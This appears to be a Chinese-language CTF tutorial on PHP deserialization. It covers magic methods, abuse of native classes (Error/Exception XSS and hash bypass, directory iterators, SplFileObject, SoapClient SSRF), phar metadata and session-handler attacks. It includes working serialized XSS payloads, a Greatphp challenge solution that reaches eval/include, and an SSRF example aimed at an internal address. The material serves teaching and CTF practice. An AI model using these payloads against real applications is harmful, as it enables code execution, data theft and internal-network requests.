# 前言

php 文件在执行后对象对象会被销毁,但是这个对象很多情况下我们想要持续的使用,序列化就是这样一个过程,通过序列化我们可以将对象转化成字符串存到磁盘中长期保存

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}

O:表示序列化的事对象
< length>:表示序列化的类名称长度
< class name>:表示序列化的类的名称
< n >:表示被序列化的对象的变量个数
< field name 1>:属性名
< field value 1>:属性值

demo

<?php
class demo{
    public $clown="joker";
    public $test = "test";
}
$a=new demo();
echo serialize($a);
//O:4:"demo":2:{s:5:"clown";s:5:"joker";s:4:"test";s:4:"test";}

image-20221031204530320

# 魔术方法

# __construct (),构造函数

<?php
class demo{
    public $clown="joker";
    public $test = "test";
    function __construct(){
        echo "hello";
    }
}
$a=new demo();

image-20221031204826374

这个函数在类被实例化的时候会自动调用

# __destruct (),析构函数

当类被删除前会自动调用

<?php
class demo{
    public $clown="joker";
    public $test = "test";
    function __construct(){
        echo "构造函数\n";
    }
    function __destruct(){
        echo "析构函数\n";
    }
}
$a=new demo();
echo serialize($a)."\n";

image-20221031205700467

# __call (),调用不可调用的方法

该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数

<?php
error_reporting(0);
class demo{
    public $clown="joker";
    public $test = "test";
    function __construct(){
        echo "构造函数\n";
    }
    function __destruct(){
        echo "析构函数\n";
    }
    function __call($name,$arguments){
        echo "调用了一个不存在的方法".'$name='.$name.'arguments='.$arguments."\n";
    }
}
$a=new demo();
$a->demo("test");
echo serialize($a)."\n";

image-20221031210134723

# __callStatic (),用静态方式调用一个不可调用方法时调用

此方法与上面所说的 __call() 功能除了 __callStatic() 是为静态方法准备的之外,其它都是一样的。

# __get (),获得一个类的私有成员变量的时候调用

<?php
error_reporting(0);
class demo{
    public $clown="joker";
    private $test = "test";
    function __get($n){
        echo 'get$n'."$n";
    }
}
$a=new demo();
echo $a->clown."\n";
echo $a->test."\n";
echo serialize($a)."\n";

image-20221031211102996

# __set,设置一个类的成员变量的时候调用

__set ($property, $value) 方法用来设置私有属性, 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值,参数 $key 是要操作的变量名称,$value 为变量 $key 的值

<?php
error_reporting(0);
class demo{
    public $clown="joker";
    private $test = "test";
    function __set($name, $value){
        echo "Setting $name to $value\n";
    }
}
$a=new demo();
$a->clown="clown";
$a->test="demo";
echo serialize($a)."\n";

image-20221031211605290

# __isset (),不可访问或者不存在属性调用 isset () 或 empty () 时调用

<?php
error_reporting(0);
class demo{
    public $clown="joker";
    private $test = "test";
    function __isset($name){
        echo "isset->$name\n";
    }
}
$a=new demo();
isset($a->clown);
isset($a->test);
echo serialize($a)."\n";

image-20221031211913408

# __sleep (),序列化的时候优先调用

<?php
error_reporting(0);
class demo{
    public $clown="joker";
    private $test = "test";
    function __sleep(){
        echo "sleeping\n";
        return array("clown");
    }
}
$a=new demo();
echo serialize($a)."\n";

image-20221031212220422

# __wakeup (),反序列化的优先调用

<?php
error_reporting(0);
class demo{
    public $clown="joker";
    private $test = "test";
    function __sleep(){
        echo "sleeping\n";
        return array("clown");
    }
    function __wakeup(){
        echo "waking up\n";
    }
}
$a=new demo();
$B=serialize($a);
unserialize($B);

image-20221031212435068

# __toString (),类被当成字符串时自动调用

<?php
error_reporting(0);
class demo{
    public $clown="joker";
    private $test = "test";
    function __toString(){
        echo 'toString'."\n";
    }
}
$a=new demo();
echo $a;

image-20221031212708429

# __invoke (),当类被当作方法时自动调用

<?php
error_reporting(0);
class demo{
    public $clown="joker";
    private $test = "test";
    function __invoke($a){
        echo $a;
    }
}
$a=new demo();
$a("test");

image-20221031212919336

# __clone (),调用 clone 函数复制类调用

<?php
error_reporting(0);
class demo{
    public $clown="joker";
    private $test = "test";
    function __clone(){
        echo "cloned";
    }
}
$a=new demo();
$b=clone $a;

image-20221031213057559

# PHP 原生类的使用

既然是反序列化怎么可能会没有原生类的身影?

php 原生类,顾名思义就是在标准 php 库中已经封装好的类,经常遇见的有:

Error
Exception
SoapClient
DirectoryIterator
SimpleXMLElement

# Error/Exception --XSS

Error 类用于 php7 和 php8 中开启保存

Exceotion 类用于 php5、php7 和 php8 中开启报错

# Error

Error 类是从 php7 开始引入的,是所有 php 报错的基类,为什么会和 xss 扯上关系呢?xss 常见的漏洞点在有输出的地方,而在 Error 类中有一个__toString () 魔术方法,当我们把对象当作字符串的时候就会自动调用(demo 可以看看上面),如果这里有个 echo 就可以触发 toString 将异常对象转化成字符串

demo

<?php
highlight_file(__FILE__);
echo unserialize($_GET['pop']);

payload:

<?php
error_reporting(0);
$a=new Error("<script>alert(/xss/)</script>");
echo urlencode(serialize($a));
//O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22C%3A%5CUsers%5C%E9%99%8C%E8%B7%AF%5CDesktop%5Cindex+%281%29.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

image-20221031223216347

# Exception

这里利用方式一样,适应的 php 版本更广

demo

<?php
error_reporting(0);
$a=new Error("<script>alert(/xss/)</script>");
echo urlencode(serialize($a));

payload:

<?php
$a=new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));
//O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22C%3A%5CUsers%5C%E9%99%8C%E8%B7%AF%5CDesktop%5Cindex+%281%29.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

image-20221031224036762

# Error/Exception -- 绕过哈希

这里就得提到这两个原生类的属性

message-错误的消息内容
code-错误代码
file-抛出错误的文件名
line-抛出错误的行数
<?php
$a=new Error("test",1);$b=new Error("test",2);
var_dump($a===$b);
echo $a."\n";
echo $b;
/*
bool (false)
Error: test in C:\Users\ 陌路 \Desktop\sheng.php:2
Stack trace:
#0 {main}
Error: test in C:\Users\ 陌路 \Desktop\sheng.php:2
Stack trace:
#0 {main}
*/

这里 $a 和 $b 不同但是,toString 返回结果相同

这就不得不提到一道经典的例题

[2020 极客大挑战] Greatphp

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
        }
    }
}
if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>

payload:

<?php
class SYCLOVER {
    public $syc;
    public $lover;
}
$payload="?><?=include~".urldecode("%d0%99%93%9e%98")."?>";
/*
或使用 [~(取反)][!% FF] 的形式,
即: $payload = "?><?=include [~".urldecode ("% D0%99%93%9E%98")."][!.urldecode ("% FF")."]?>";    
$payload = "?><?=include $_GET [_]?>"; 
*/
$a=new Error($payload,1);$b=new Error($payload,2);
$c=new SYCLOVER();
$c->syc=$a;
$c->lover=$b;
echo urlencode(serialize($c));

# 目录遍历

可遍历目录类有以下几个:
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类

# DirectoryIterator 类

DirectoryIterator 类提供了一个查看文件系统目录内容的简单接口,

<?php
//error_reporting(0);
$a=new DirectoryIterator('glob:///*');
foreach($a as $b) {
    echo $b->getFilename();
}

image-20221101201448743

<?php
//error_reporting(0);
$a=new DirectoryIterator('glob:///*');
foreach($a as $b) {
    echo $b->__toString();
}

image-20221101202542909

# FilesystemIterator 类

使用方法和 DirectoryIterator 类一样

<?php
//error_reporting(0);
$a=new FilesystemIterator('/');
foreach($a as $b){
    echo $b->getFilename();
}

image-20221101201842238

<?php
//error_reporting(0);
$a=new FilesystemIterator('/');
foreach($a as $b){
    echo $b->__toString();
}

image-20221101202433304

# Globlterator 类

使用方法相同这里不再赘述

# 读取文件

目录遍历找到 flag 然后肯定是想办法去读呗

# SplFileObject 类

SplFileInfo 类为单个文件的信息提供了高级的面向对象接口

SplFileInfo::__toString — Returns the path to the file as a string // 将文件路径作为字符串返回

<?php
$context = new SplFileObject('test.txt');
foreach($context as $f){
    echo($f);
}

image-20221101203225373

# SoapClient--SSRF

SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。
或者更简单地说:SOAP 是用于访问网络服务的协议。

SoapClient 类中,还有一个我们非常熟悉的魔术方法, __call() 方法,当调用类中不存在的方法时就会触发,当触发这个方法后,它就会向 location 中的目标 URL 发送一个 soap 请求

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
<?php
$a=new SoapClient(null,array('location'=>'http://192.168.9.129:9876/','uri'=>'test'));
echo $a->test();

# phar 反序列化

# 前言

来自 Secarma 的安全研究员 Sam Thomas 讲述了一种攻击 PHP 应用的方式,利用 Phar:// 伪协议读取 phar 文件时,会反序列化 meta-data 储存的信息。

想要

# PHAR&phar://

phar 是 php 中一种类似于 java 的 jar 的一种打包文件,在从 5.3 开始的 php 版本中是默认开启的,一个 php 程序可以打包成 phar 在 FPM 中直接运行,说白了他也是压缩包的一种,这里主要是为了实现反序列化,那么就不得不提到 phar://,phar:// 是流包装的一种,流包装为了提高读写效率对字节流或者字符流进行二次处理,这个过程就是包装流或者说处理流

# PHAR 的文件结构

使用 phar 进行反序列化,那么了解 phar 的文件结构是必不可少的(先扔张图)

image-20221101222716073

一个 phar 文件主要包含 4 个部分

# a stub

这一部分的文件结构是 XXX<?php __HALT_COMPILER (); ?> 前面是什么内容都无所谓,但是必须以__HALT_COMPILER (); ?> 结尾,这是 phar 的标识部分,与后缀无关,这里满足就当成 phar 文件来解析

# a manifest describing the contents

这部分就是反序列化漏洞产生的关键,这里存放了如下的信息

image-20221101223552257

其中的 Meta-data 部分就是被序列化的部分

image-20221102211445480

# the file contents

被压缩的文件内容,这里没有啥用,可以随便写

# a signature for verifying phar integrity

这是一个签名,放在文件末尾,格式:

image-20221102211748215

# session 反序列化

在网络应用中,session 是维持会话的一种形式,一种服务端的机制(详细看 xss 中会话劫持中有较详细描述)

# 简介

漏洞的产生主要是由下面三种反序列化引擎不同产生的漏洞(这里指序列化和反序列化使用的引擎不同导致)

# session 的工作流程

首先 session_start () 函数开启一个会话,去检测 PHPSESSID

  1. 如果 cookie 存在就获取到 PHPSESSID
  2. 如果不存在就生成一个 PHPSESSID 用以标识用户的登录状态,以 Cookie 的形式保存到客户端
  3. 初始化 $_SESSION 变量
  4. 程序运行结束,将 $_SESSION 中的数据序列化后存储到 PHPSESSID 文件中
  5. 将包含 PHPSESSID 值的 cookie 通过响应头返回给浏览器
  6. 再次请求时已经有 SESSID 于是去序列化读取文件将序列化的数据存放到 $_SESSION 变量中

# 原理

首先来看一看 php.ini 中的一些关于 Session 的配置

session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

image-20221102222741453

在这里有相关配置的详细信息

上面有提到,session 反序列化漏洞的产生是因为序列化和反序列化使用的引擎不同导致的,这里简单介绍一下三种不同的引擎

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

这里写一个简单的 demo

<?php
ini_set('session.serialize_handler', 'php');
//ini_set('session.serialize_handler', 'php_binary');
//ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['demo'] = 'test';
var_dump($_SESSION);

image-20221102224208754

<?php
//ini_set('session.serialize_handler', 'php');
ini_set('session.serialize_handler', 'php_binary');
//ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['demo'] = 'test';
var_dump($_SESSION);

image-20221102224327134

<?php
//ini_set('session.serialize_handler', 'php');
//ini_set('session.serialize_handler', 'php_binary');
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['demo'] = 'test';
var_dump($_SESSION);

image-20221102224411072

上面主要是简单的展示一下几个引擎的不同点,接下来接着对整个产生的过程进行一个简单的测试

test.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['demo'] = $_GET['demo'];
var_dump($_SESSION);

test2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Demo {
    public $demo;
    function __wakeup() {
        echo $this->demo;
    }
}

payload

<?php
class Demo {
    public $demo="success";    
}
echo serialize(new Demo);

首先将生成的 payload 前面加上一个 |, 传入 test.php 中,这时会生成一个文件,文件内容是

a:1:{s:4:"demo";s:41:"|O:4:"Demo":1:{s:4:"demo";s:7:"success";}

image-20221103000411026

接着访问 test2.php,看到 success 则测试成功

image-20221103000506360